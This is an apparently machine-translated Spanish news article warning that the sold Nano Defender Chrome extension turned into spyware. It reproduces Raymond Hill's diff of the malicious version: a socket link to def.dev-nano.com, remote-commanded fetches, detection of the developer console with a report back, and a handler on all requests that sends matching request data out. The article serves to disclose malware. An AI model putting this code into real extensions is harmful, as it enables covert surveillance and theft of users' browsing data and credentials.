La extensión Nano Defender debe eliminarse urgentemente del navegador





El 3 de octubre de 2020, el programador jspenguin2017 , autor de la extensión Nano Defender, anunció en el repositorio oficial que había vendido el proyecto a un "grupo de desarrolladores turcos". Este mensaje provocó muchos rumores y temores: ¿qué tipo de desarrolladores turcos, quién controla el código, por qué se eliminó del repositorio la página con la política de privacidad?



Unos días después, los temores de la comunidad estaban plenamente justificados.



Nano Defender es una forma bastante popular de evitar los bloqueadores de anuncios. Funciona junto con los bloqueadores uBlock Origin y Nano AdBlocker (bifurcación de uBlock Origin), protegiéndolos de la detección en los sitios.



Los turcos lanzaron rápidamente una nueva versión de Nano Defender 15.0.0.206 con cambios de funcionalidad cuidadosamente disfrazados que no se publicaron en GitHub. Un examen detenido de estos cambios indica que la extensión debe desinstalarse para todos los usuarios.



La recomendación se aplica a los navegadores Chrome y basados ​​en Chromium, donde las extensiones se actualizan automáticamente sin notificar al usuario. Los turcos no compraron la versión de Firefox. El mantenedor de las extensiones de Firefox Nano, el desarrollador LiCybora , ha confirmado que retiene el control sobre ellas:estas extensiones son seguras . Además, Firefox verifica las firmas digitales de las extensiones , por lo que no es fácil que el código malicioso se meta en una nueva versión de una extensión.



El autor de UBlock Origin, Raymond Hill, analizó los cambios en Nano Defender 15.0.0.206. Señaló que se ha agregado código para detectar el lanzamiento de la consola de desarrollo de la extensión. En este caso, se envía una notificación reportal servidor https://def.dev-nano.com/. En otras palabras, los propietarios están haciendo un seguimiento de aquellos que intentan averiguar cómo funciona la extensión. Con un alto grado de probabilidad, en este caso, la extensión cambia su funcionalidad.Ocultar algunas características es un truco de malware estándar que detecta la presencia de un entorno exploratorio, como un entorno virtual.



En tal situación, Raymond Hill tuvo que aprender la funcionalidad de la nueva versión de Nano Defender sin una consola de desarrollo. Esto es lo que encontró.



Cuando se inicia, la extensión escucha https://def.dev-nano.com/mensajes para completar la lista listOfObject.



En la medida en que se pueda entender el código, el contenido de la lista listOfObjectse usa además para verificar los campos del objeto detailsque se pasa a webRequest.onBeforeSendHeaders () . Si todos los campos cumplen la condición, todo el contenido del objeto se detailsenvía a https://def.dev-nano.com/bajo el nombre handleObject.



En este caso, el manejador webRequest.onBeforeSendHeaders()actúa paratodas las solicitudes de red:



chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"]
}, ['requestHeaders', 'blocking', 'extraHeaders']);


Dado que se listOfObjectsolicita desde un servidor externo, la funcionalidad de este método se instala externamente. La lista puede contener cualquier condición en cualquier cantidad. En términos generales, los propietarios de la extensión pueden solicitar desde el navegador cualquier fragmento de tráfico de red saliente a su discreción. Por lo tanto, la expansión Nano Defender se ha convertido efectivamente en un rastreador de espías versátil.



Raymond Hill publicó una diferencia que no está disponible en el repositorio de nuevos propietarios :



diff para core.js
--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
};
-
+var defender = io.connect("https://def.dev-nano.com/");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+
+
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ listOfObj.data = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+}
+
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+});
+
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
+})
+
+
+
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
-
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
};
+
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+
+ var m = [45,122,122,122]
+ var s = m.map( x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+};
+
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
// ----------------------------------------------------------------------------------------------------------------- //


Los desarrolladores turcos han publicado una nueva política de privacidad para la extensión. De acuerdo con él, la extensión recopila y transmite mucha información al servidor remoto, incluidas las direcciones de las páginas visitadas, el tiempo de sesión en cada página, la dirección IP del usuario y otros datos. Anteriormente, no existía tal cláusula en el acuerdo de privacidad.



En general, vender extensiones es una fuente común de ingresos para desarrolladores independientes. Después de instalar la extensión, muchos usuarios no saben que la extensión fue comprada por los nuevos propietarios, y su computadora ya se está utilizando en un proyecto externo.



Por ejemplo, propietarios del servicio de proxy SmartProxyofrecer a sus clientes acceso a una red de direcciones IP domésticas, que tiene alrededor de 40 millones de direcciones IP; la mayoría de los nodos están ubicados en computadoras de usuarios desprevenidos. Estos equipos domésticos se utilizan para el tráfico de proxy de los clientes de pago.







Otra red de Luminati utiliza computadoras para usuarios domésticos que han instalado la aplicación gratuita HolaVPN como puntos de salida. Esta red también compra extensiones de navegador populares .



Desde un punto de vista legal, el uso de ordenadores domésticos "ciegos" de los usuarios para impulsar el tráfico comercial es un hecho muy dudoso. Pero los empresarios aún logran evitar el castigo.



En cuanto al programador jspenguin2017 , la comunidaddenunció sus acciones irresponsables para vender la extensión, ya que decenas de otros desarrolladores participaron en el apoyo y la inclusión de Nano Defender. Resulta que jspenguin2017 monetizó por sí solo las horas-hombre del trabajo de otra persona.



La extensión Nano Defender ya se eliminó de Chrome Web Store.



All Articles